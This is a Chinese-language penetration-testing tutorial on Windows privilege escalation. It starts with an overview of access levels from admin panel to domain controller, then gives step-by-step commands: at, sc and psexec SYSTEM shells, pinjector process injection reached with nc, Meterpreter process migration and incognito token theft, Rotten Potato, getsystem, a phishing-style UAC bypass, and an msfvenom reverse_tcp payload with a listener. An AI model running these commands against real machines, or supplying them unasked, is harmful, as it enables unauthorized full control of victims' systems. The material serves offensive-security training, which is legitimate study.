权限提升基础信息
1、具体有哪些权限需要我们了解掌握的?
后台权限,网站权限,数据库权限,接口权限,系统权限,域控权限等
2、以上常见权限获取方法简要归类说明?
后台权限:SQL注入,数据库备份泄露,默认或弱口令等获取帐号密码进入
网站权限:后台提升至网站权限,RCE或文件操作类、反序列化等漏洞直达Shell
数据库权限:SQL注入,数据库备份泄露,默认或弱口令等进入或网站权限获取后转入
接口权限:SQL注入,数据库备份泄露,源码泄漏,培植不当等或网站权限获取后转入
系统权限:高危系统漏洞直达或网站权限提升转入、数据库权限提升转入,第三方转入等
域控权限:高危系统漏洞直达或内网横向渗透转入,域控其他服务安全转入等
3、以上常见权限获取后能操作的具体事情?
后台权限:
常规WEB界面文章分类等操作,后台功能可操作类
网站权限:
查看或修改程序源代码,可以进行网站或应用的配置文件读取(接口配置信息,数据库配置信息等),还能收集服务器操作系统相关的信息,为后续系统提权做准备。
数据库权限:
操作数据库的权限,数据库的增删改等,源码或配置文件泄漏,也可能是网站权限(webshell)进行的数据库配置文件读取获得。也可以作为提升系统权限手段。
接口权限:
后台或网站权限后的获取途径:后台(修改配置信息功能点),网站权限(查看的配置文件获取),具体可以操作的事情大家自己想想。
系统权限:如同在你自己操作自己的电脑一样
域控权限:如同在你自己操作自己的虚拟机一样
案例演示:Windows系统-AT&SC&PS命令提权
windows本地用户提权-AT命令提权
at命令提权的原理
at命令是一个计划命令,可以在规定时间完成一些操作,这个命令调用system权限。
适用版本:Win2000 & Win2003 & XP中还是存在的,在Win7以后被剔除.
当我们拿下低权限的用户,通过连接上服务器后,可以通过at命令来进行本地提权。
提权测试:Win2003
前提:已获取本地用户权限
1.执行命令:at 13:38 /interactive cmd (在13:38分生成一个交互式的System权限的cmd)
2.时间到13:38分后,生成一个交互式的System权限的cmd,提权成功
3.如果使用Win10版本,可以看到没有办法生效
4.还可以将时间后面的路径更改为上传的提权木马。
windows本地用户提权-SC命令提权
SC命令介绍
sc是用于与服务控制管理器和服务进行通信的命令行程序。提供的功能类似于控制面板中管理工具项中的服务,通俗理解就是 SC 可以启动一个服务。
适用版本:windows/ 7、8、2003、2008、2012、2016
提权测试:Win 2003
前提:已获取本地用户权限
1.执行命令:sc Create syscmd binPath= "cmd /K start" type= own type= interact
命令解释:创建一个名叫syscmd的新的交互式的cmd执行服务
执行命令:sc start syscmd #启动syscmd服务
2.启动服务后重新弹出一个cmd窗口,执行whoami,成功提权
3.实战中还可以将binPath="cmd /K start" 更换为binPath="上传的木马路径" 运行木马文件来获取system权限。
windows本地用户提权-PS命令提权
适用版本: 适用于Windows/2003、2008、2012、2016
微软官方系统调试工具包: PsTools - Sysinternals | Microsoft Learn
提权测试:Win 2003
前提:已获取本地用户权限
1.将工具包上传到目标目录,命令行执行命令
执行命令:psexec.exe -accepteula -s -i -d cmd #调用运行cmd
2.执行命令成功,出现新的cmd弹窗,在新的cmd执行whoami,成功提权
案例:进程迁移注入提权-pinjector工具&MSF
前提条件:需要存在system权限的进程,就可以使用迁移。没有就是当前权限不够
介绍:
进程迁移注入提权就是将获取到权限低的进程注入至进程中权限高的中,这样就实现了权限提升,同时注入进程提权相当于开启了一个后门, 隐蔽性极高,不会创建新的进程,很难发现。
原理:把我的进程注入到一个现有的system账号运行的进程中,这样我的进程也就具有了system账号的权限了。
pinjector工具注入
提权测试:Win 2003 pinjector工具貌似只适用于2003版本。
前提:已获取本地用户权限
1.pinjector工具实现进程注入,需要先下载工具,然后将工具上传需要提权的系统中即可。
下载:http://www.tarasco.org/security/Process_Injector/
2.将工具上传之后,执行命令查看所有进程的权限
执行命令:pinjector.exe -l #列取所有进程
3.选择一个system权限的进程pid编号,使用命令将权限绑定到进程中。
执行命令:pinjector.exe -p <pid> cmd <port> #选择一个system权限运行的进程,对此pid进程执行注入,并建立侦听端口
4.使用nc命令连接进程,成功提权
命令:nc -nv 目标ip 端口
MSF进程注入
前提:生成一个MSF木马上传让其上线,并连接。
msf木马
1.在反弹回来的shell界面输入命令,然后查看所有进程以及相应的权限。
执行命令:ps #查看进程
2.选择一个system权限的进程的pid编号,使用命令将权限绑定到进程中。
执行命令:migrate pid编号 #迁移进程
执行getuid命令,成功提权。
MSF令牌窃取
前提:生成一个MSF木马上传让其上线,并连接。
1.在反弹回来的shell界面执行命令进行令牌窃取提权。
执行命令:
use incognito #选择攻击模块
list_tokens -u #列出令牌
impersonate_token "NT AUTHORITY\SYSTEM" #窃取system令牌
获取system权限,提权成功
烂土豆提权
2.如果权限不够(如:只有web shell权限) 无法获取system令牌,可以配合烂土豆漏洞获取。
烂土豆下载:https://github.com/foxglovesec/Potato
程序路径:Potato/source/Potato/Potato/bin/Release/Potato.exe
生成一个MSF木马上传让其上线,并连接,再在目标系统上传烂土豆程序:potato.exe。在反弹回来的shell界面执行命令。
执行命令:
execute -cH -f ./potato.exe #执行烂土豆程序
use incognito #加载窃取模块
list_tokens -u #查看可窃取的令牌
impersonate_token "NT AUTHORITY\SYSTEM" #窃取令牌
getsystem提权
前提:生成一个MSF木马上传让其上线,并连接。
1.在反弹回来的shell界面执行命令进行提权。
执行命令:getsystem #自动化提权
2.如果目标用户开启了UAC验证,则getsystem方法可能无法提权。这时就需要使用msf中UAC提权。
uac提权
1.上传木马反弹shell回来的时候测试一下getsystem,发现无法提权。
2.启动msf,选择UAC绕过模块。
此处测试是针对UAC被设置为高等级的情况,使用的是钓鱼模块,运行后目标主机弹窗,需要目标点击确定才能触发。
建议优先使用其他模块:search uac #搜索uac模块
执行命令:
use exploit/windows/local/ask #使用钓鱼模块
sessions #查看后台进程
set session 1 #选择进程
set lport 5555 #设置监听端口
run #启动
3.再次执行 getsystem 提权命令,成功提权。
4.如果还是无法提权,可以尝试其他uac模块。
MSF木马生成——windows
1.执行木马生成命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=监听的ip LPORT=监听的端口 -f exe > shell.exe
2.设置监听,接收反弹回来的shell。
执行命令:
msfconsole #启动msf
use exploit/multi/handler #载入监控模块
set PAYLOAD windows/meterpreter/reverse_tcp #加载payload
set LHOST 监听ip #设置监听ip
set LPORT 监听端口 #设置监听端口
run #启动监听